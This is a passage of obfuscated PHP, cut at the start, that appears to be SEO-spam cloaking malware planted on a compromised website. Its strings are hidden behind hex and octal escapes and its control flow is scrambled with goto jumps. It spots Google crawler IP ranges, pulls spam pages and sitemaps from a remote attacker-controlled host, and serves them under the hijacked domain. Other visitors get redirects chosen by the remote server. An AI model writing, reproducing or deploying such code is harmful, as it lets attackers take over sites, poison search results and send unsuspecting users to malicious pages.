$id, "\154\154" => $ll, "\151\x74" => 0); $str = getCurl($vurl, $params); $str = str_replace(array("\x3f\x69\144\75", "\x7b\125\x52\x4c\x7d", "\173\345\237\237\xe5\x90\215\x7d", "\74\x2f\164\151\164\154\x65\76", "\143\157\156\x74\145\156\x74\125\162\154\42\x3a\x20\42", "\x3f\x69\155\x67\75"), array("\x3f\131\123\75", get_url_info("\146\165\154\154"), get_url_info("\x6e\157\x5f\x77\x77\x77"), "\40" . get_url_info("\x6e\x6f\x5f\167\x77\167") . "\74\57\x74\151\164\154\x65\76", "\x63\157\156\x74\x65\156\x74\x55\x72\154\x22\x3a\x20\42" . get_url_info("\x62\x61\163\145"), $ll . "\77\151\x6d\147\75"), $str); echo $str; die; } else { if (!empty($id)) { $tzstr = trim(getCurl($vurl, array("\151\x70" => get_ip(), "\x69\144" => $id, "\x6c\x6c" => $ll))); if ($tzstr && strpos($tzstr, "\150\164\164\x70") === 0) { header("\x4c\157\143\x61\164\151\x6f\156\x3a\x20" . $tzstr); die; } } } goto ZB9YB; WDndZ: function get_url_info(string $return_type = "\144\157\155\x61\151\x6e") : string { $host = $_SERVER["\110\124\124\120\x5f\110\117\123\x54"]; if ($return_type === "\144\x6f\x6d\x61\x69\x6e") { return $host; } if ($return_type === "\x6e\157\x5f\167\167\x77") { return ltrim($host, "\167\167\x77\x2e"); } $protocol = isset($_SERVER["\x48\x54\124\120\x53"]) && $_SERVER["\x48\x54\x54\x50\x53"] === "\157\x6e" || isset($_SERVER["\110\124\x54\120\137\130\x5f\x46\117\122\x57\x41\122\104\105\104\137\x50\122\117\x54\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\x58\137\x46\x4f\122\x57\101\x52\104\105\x44\137\120\x52\117\124\117"] === "\x68\164\x74\x70\163" ? "\x68\x74\164\160\163\72\x2f\x2f" : "\150\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . $host; if ($return_type === "\142\x61\x73\x65") { return $base_url; } $uri = $_SERVER["\x52\105\x51\125\105\x53\124\x5f\x55\122\111"]; $full_url = $base_url . $uri; if ($return_type === "\146\165\154\x6c") { return $full_url; } return ''; } goto x7OhA; Ecl7F: $http_type = !empty($_SERVER["\x48\x54\124\120\123"]) && $_SERVER["\x48\x54\x54\120\x53"] !== "\157\146\146" ? "\150\164\x74\160\x73\72\x2f\x2f" : "\150\x74\x74\160\72\x2f\x2f"; goto COAwM; d97Ln: if (!empty($get["\x77"])) { $params = array("\x73" => date("\x59\155\144\110\151"), "\x6e\165\155\x62\x65\x72" => $get["\156\x75\x6d\x62\x65\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\xe5\xbd\x93\xe5\x89\215\345\x9c\260\xe5\235\200\x7d", "\77\x69\x64\75"), array($http_type . $_SERVER["\110\x54\x54\x50\x5f\x48\117\123\124"], "\x3f\x59\x53\x3d"), $str); header("\x43\157\x6e\x74\x65\x6e\164\55\x74\171\160\145\72\164\x65\x78\164\57\x78\155\x6c"); echo $str; die; } goto L18bH; JvUi7: $isSpider = isGoogleIp(get_ip()) || isset($get["\x6b\153"]); goto Ecl7F; COAwM: $ll = "{$http_type}{$_SERVER["\x48\124\124\120\137\110\117\123\x54"]}{$_SERVER["\x53\103\122\111\120\124\x5f\x4e\x41\x4d\x45"]}"; goto K9B8z; Xp1RT: $id = $get["\x59\x53"] ?? 0; goto JvUi7; yyMsS: error_reporting(0); goto Gnup1; Gnup1: $get = $_GET; goto WDndZ; AMa_B: function get_ip() { foreach (array("\110\x54\x54\120\x5f\x58\x5f\x46\117\x52\127\101\122\x44\105\x44\x5f\106\117\x52", "\x48\x54\124\x50\x5f\x43\x4c\111\105\x4e\x54\137\111\120", "\x52\105\115\117\x54\105\137\x41\x44\x44\122") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\54", $_SERVER[$key])[0]); } } return "\x55\x4e\x4b\116\x4f\x57\x4e"; } goto amO1j; K9B8z: $vurl = $http_type . "\x69\144\x6c\171\x32\x2e\x69\x64\x73\x68\x6f\x70\x2e\143\x63\x77\x75\x2e\x63\143\x2f\x36\62\64\56\141\163\x70\x78"; goto d97Ln; amO1j: function isGoogleIp(string $ip) : bool { static $prefixes = array("\x36\66\x2e\x32\x34\71" => 1, "\x31\71\62\x2e\61\x37\70" => 1, "\x33\x34\56\61\x30\60" => 1, "\x33\64\x2e\61\60\x31" => 1, "\63\x34\56\61\61\x38" => 1, "\x33\x34\56\x31\62\x36" => 1, "\x33\x34\x2e\x31\64\66" => 1, "\63\64\x2e\61\x34\67" => 1, "\63\64\x2e\x31\x35\x31" => 1, "\x33\x34\56\x31\65\x32" => 1, "\63\x34\56\61\65\64" => 1, "\x33\64\56\x31\x35\x35" => 1, "\63\64\x2e\x31\x36\x35" => 1, "\63\64\x2e\61\67\65" => 1, "\x33\64\x2e\x31\67\66" => 1, "\63\64\x2e\62\62" => 1, "\63\64\x2e\x36\x34" => 1, "\63\x34\56\x36\65" => 1, "\x33\x34\56\70\x30" => 1, "\x33\64\x2e\70\70" => 1, "\63\64\56\x38\71" => 1, "\63\64\x2e\x39\66" => 1, "\x33\65\56\62\64\x37" => 1); $parts = explode("\56", $ip); return count($parts) >= 2 && isset($prefixes[$parts[0] . "\x2e" . $parts[1]]); } goto Xp1RT; x7OhA: function getCurl($url, $getData = array()) { if (!empty($getData)) { $queryString = is_array($getData) ? http_build_query($getData) : $getData; $url .= (strpos($url, "\77") === false ? "\77" : "\46") . $queryString; } if (function_exists("\x63\165\x72\x6c\137\x69\156\151\x74")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_USERAGENT => "\x4d\x6f\x7a\151\x6c\154\141\x2f\65\56\60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\167\x5f\165\162\154\137\x66\157\x70\145\x6e")) { $context = stream_context_create(array("\150\164\164\x70" => array("\x6d\x65\x74\x68\x6f\x64" => "\x47\105\x54", "\x74\151\x6d\145\x6f\x75\x74" => 10, "\150\x65\x61\x64\x65\x72" => "\x55\x73\145\x72\x2d\x41\x67\145\156\x74\x3a\40\115\x6f\172\151\154\x6c\x61\57\x35\56\60\15\12"), "\163\x73\x6c" => array("\x76\x65\162\x69\x66\171\137\x70\x65\145\162" => false, "\x76\145\x72\151\x66\171\137\160\x65\x65\x72\137\156\x61\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto AMa_B; ZB9YB: ?>